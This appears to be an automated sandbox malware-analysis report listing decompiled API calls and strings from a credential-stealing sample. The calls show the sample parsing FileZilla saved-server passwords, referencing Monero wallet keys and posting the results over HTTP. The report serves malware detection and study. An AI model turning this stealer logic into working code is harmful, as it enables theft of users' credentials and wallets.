lstrcat.KERNEL32(?,?), ref: 00D77B69
lstrcat.KERNEL32(?,?), ref: 00D77B7D
lstrcat.KERNEL32(?,?), ref: 00D77B91
lstrcat.KERNEL32(?,01B0EEA0), ref: 00D77BA4
lstrcat.KERNEL32(?,01B0EED0), ref: 00D77BB8
lstrcat.KERNEL32(?,01B0EF78), ref: 00D77BCC
lstrcat.KERNEL32(?,01B0EF18), ref: 00D77BDF
lstrcat.KERNEL32(?,01B0F100), ref: 00D77BF3
lstrcat.KERNEL32(?,?), ref: 00D77C07
lstrcat.KERNEL32(?,?), ref: 00D77C1B
lstrcat.KERNEL32(?,?), ref: 00D77C2F
lstrcat.KERNEL32(?,01B0EEA0), ref: 00D77C43
lstrcat.KERNEL32(?,01B0EED0), ref: 00D77C56
lstrcat.KERNEL32(?,01B0EF78), ref: 00D77C6A
lstrcat.KERNEL32(?,01B0EF18), ref: 00D77C7E

Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020,00D917FC), ref: 00D77606
Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020,00000000), ref: 00D77648
Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020, : ), ref: 00D7765A
Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020,00000000), ref: 00D7768F
Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020,00D91804), ref: 00D776A0
Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020,00000000), ref: 00D776D3
Part of subcall function 00D775D0: lstrcat.KERNEL32(3606D020,00D91808), ref: 00D776ED
Part of subcall function 00D775D0: task.LIBCPMTD ref: 00D776FB

lstrcat.KERNEL32(?,01B0F3E8), ref: 00D77E0B
lstrcat.KERNEL32(?,01B0D908), ref: 00D77E1E
lstrlen.KERNEL32(3606D020), ref: 00D77E2B
lstrlen.KERNEL32(3606D020), ref: 00D77E3B

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 083af91a2682fdda7403ebf5fc866f81234402cc8dc7b330e21f1fbfc2c08c62
Instruction ID: 0b05980abfe114604c097c6c85836a4d4b7a450c8f263e000fdcb64d2c68df77
Opcode Fuzzy Hash: 083af91a2682fdda7403ebf5fc866f81234402cc8dc7b330e21f1fbfc2c08c62
Instruction Fuzzy Hash: A932EFB6D00358ABCB15FBA0DCC5DEA737CBB48700F444A98F21962490EE75E7859F61

Function 00D80250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D799EC
Part of subcall function 00D799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D79A11
Part of subcall function 00D799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D79A31
Part of subcall function 00D799C0: ReadFile.KERNEL32(000000FF,?,00000000,00D7148F,00000000), ref: 00D79A5A
Part of subcall function 00D799C0: LocalFree.KERNEL32(00D7148F), ref: 00D79A90
Part of subcall function 00D799C0: CloseHandle.KERNEL32(000000FF), ref: 00D79A9A

Part of subcall function 00D88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D88E52

GetProcessHeap.KERNEL32(00000000,000F423F,00D90DBA,00D90DB7,00D90DB6,00D90DB3), ref: 00D80362
RtlAllocateHeap.NTDLL(00000000), ref: 00D80369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00D80385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D80393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00D803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00D80419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D80427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00D80463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D80475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D80502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D8051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D80532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D8054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00D80562
lstrcat.KERNEL32(?,profile: null), ref: 00D80571
lstrcat.KERNEL32(?,url: ), ref: 00D80580
lstrcat.KERNEL32(?,00000000), ref: 00D80593
lstrcat.KERNEL32(?,00D91678), ref: 00D805A2
lstrcat.KERNEL32(?,00000000), ref: 00D805B5
lstrcat.KERNEL32(?,00D9167C), ref: 00D805C4
lstrcat.KERNEL32(?,login: ), ref: 00D805D3
lstrcat.KERNEL32(?,00000000), ref: 00D805E6
lstrcat.KERNEL32(?,00D91688), ref: 00D805F5
lstrcat.KERNEL32(?,password: ), ref: 00D80604
lstrcat.KERNEL32(?,00000000), ref: 00D80617
lstrcat.KERNEL32(?,00D91698), ref: 00D80626
lstrcat.KERNEL32(?,00D9169C), ref: 00D80635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D90DB2), ref: 00D8068E

Strings

<User>, xrefs: 00D80410
browser: FileZilla, xrefs: 00D80559
login: , xrefs: 00D805CA
profile: null, xrefs: 00D80568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00D802A4
<Port>, xrefs: 00D803C6
password: , xrefs: 00D805FB
url: , xrefs: 00D80577
<Pass encoding="base64">, xrefs: 00D8045A
<Host>, xrefs: 00D8037C

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 2ac61c2bea2e984166a05f163b96c4b4ef2efe90e6be32ab553e929f5e3d43b4
Instruction ID: f8a90a337b906e53c16a465c4dd0eab88f7faea80bf45d2b2baca24d289693c0
Opcode Fuzzy Hash: 2ac61c2bea2e984166a05f163b96c4b4ef2efe90e6be32ab553e929f5e3d43b4
Instruction Fuzzy Hash: B1D11A75900209AFDB04FBE8DD96EEE7778EF54300F544519F102A6091EF78AA0ADB72

Function 00D75100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D74839
Part of subcall function 00D747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D74849

lstrlen.KERNEL32(00000000), ref: 00D75193

Part of subcall function 00D88EA0: CryptBinaryToStringA.CRYPT32(00000000,00D75184,40000001,00000000,00000000,?,00D75184), ref: 00D88EC0

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D75207
StrCmpCA.SHLWAPI(?,01B0F3D8), ref: 00D75225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D75340
HttpOpenRequestA.WININET(00000000,01B0F398,?,01B0EA68,00000000,00000000,00400100,00000000), ref: 00D753A4

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,01B0F428,00000000,?,01B0E320,00000000,?,00D919DC,00000000,?,00D851CF), ref: 00D75737
lstrlen.KERNEL32(00000000), ref: 00D7574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00D7575C
RtlAllocateHeap.NTDLL(00000000), ref: 00D75763
lstrlen.KERNEL32(00000000), ref: 00D75778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D757A9
lstrlen.KERNEL32(00000000), ref: 00D757C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D757E1
lstrlen.KERNEL32(00000000,?,?), ref: 00D7580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D75822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D7584D
InternetCloseHandle.WININET(00000000), ref: 00D758B1
InternetCloseHandle.WININET(00000000), ref: 00D758BE
InternetCloseHandle.WININET(00000000), ref: 00D758C8

Strings

", xrefs: 00D75706
------, xrefs: 00D7563B
", xrefs: 00D755C4
------, xrefs: 00D754F9
--, xrefs: 00D75280
", xrefs: 00D75482
------, xrefs: 00D75297
------, xrefs: 00D753B7

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: add90ff4fce584f9f81fbeb97527240699085ca865e3437587cdc9fe2b45bbec
Instruction ID: 1d0679a2dc39b33580cae73452231a32145fd600178f2299abe168042006ab5c
Opcode Fuzzy Hash: add90ff4fce584f9f81fbeb97527240699085ca865e3437587cdc9fe2b45bbec
Instruction Fuzzy Hash: BF32DF71920128AAEB15FBA4DC95FEEB378FF54700F50419AF10662092EF746A49CF72

Function 00D7A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8AA70: StrCmpCA.SHLWAPI(01B089A0,00D7A7A7,?,00D7A7A7,01B089A0), ref: 00D8AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D7AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00D7AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00D7ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D7A8B0

Part of subcall function 00D8A820: lstrlen.KERNEL32(00D74F05,?,?,00D74F05,00D90DDE), ref: 00D8A82B
Part of subcall function 00D8A820: lstrcpy.KERNEL32(00D90DDE,00000000), ref: 00D8A885

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

lstrcat.KERNEL32(?,00000000), ref: 00D7ACEB
lstrcat.KERNEL32(?,00D91320), ref: 00D7ACFA
lstrcat.KERNEL32(?,00000000), ref: 00D7AD0D
lstrcat.KERNEL32(?,00D91324), ref: 00D7AD1C
lstrcat.KERNEL32(?,00000000), ref: 00D7AD2F
lstrcat.KERNEL32(?,00D91328), ref: 00D7AD3E
lstrcat.KERNEL32(?,00000000), ref: 00D7AD51
lstrcat.KERNEL32(?,00D9132C), ref: 00D7AD60
lstrcat.KERNEL32(?,00000000), ref: 00D7AD73
lstrcat.KERNEL32(?,00D91330), ref: 00D7AD82
lstrcat.KERNEL32(?,00000000), ref: 00D7AD95
lstrcat.KERNEL32(?,00D91334), ref: 00D7ADA4
lstrcat.KERNEL32(?,00000000), ref: 00D7ADB7
lstrlen.KERNEL32(?), ref: 00D7AE0D
lstrlen.KERNEL32(?), ref: 00D7AE1C

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

DeleteFileA.KERNEL32(00000000), ref: 00D7AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00D7ABD4

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: ff6620ee7fec0c52b4a4a1951e858cd4a4990cae891e2a99b7284689db449270
Instruction ID: 413ab4d1834ec43383b89821097fe3272663b49f7ddc11fecd0249f5fe2ca17c
Opcode Fuzzy Hash: ff6620ee7fec0c52b4a4a1951e858cd4a4990cae891e2a99b7284689db449270
Instruction Fuzzy Hash: 03122271910118ABDB08FBA8DD96EEE7378EF54300F50415AF506A6091EF38AE09DF72

Function 00D75960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D74839
Part of subcall function 00D747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D74849

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D759F8
StrCmpCA.SHLWAPI(?,01B0F3D8), ref: 00D75A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D75B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01B0F3F8,00000000,?,01B0E320,00000000,?,00D91A1C), ref: 00D75E71
lstrlen.KERNEL32(00000000), ref: 00D75E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00D75E93
RtlAllocateHeap.NTDLL(00000000), ref: 00D75E9A
lstrlen.KERNEL32(00000000), ref: 00D75EAF
lstrlen.KERNEL32(00000000), ref: 00D75ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D75EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00D75F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D75F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00D75F4C
InternetCloseHandle.WININET(00000000), ref: 00D75FB0
InternetCloseHandle.WININET(00000000), ref: 00D75FBD
HttpOpenRequestA.WININET(00000000,01B0F398,?,01B0EA68,00000000,00000000,00400100,00000000), ref: 00D75BF8

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

InternetCloseHandle.WININET(00000000), ref: 00D75FC7

Strings

------, xrefs: 00D75C0B
", xrefs: 00D75CD5
", xrefs: 00D75E16
------, xrefs: 00D75D4C
------, xrefs: 00D75A96

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
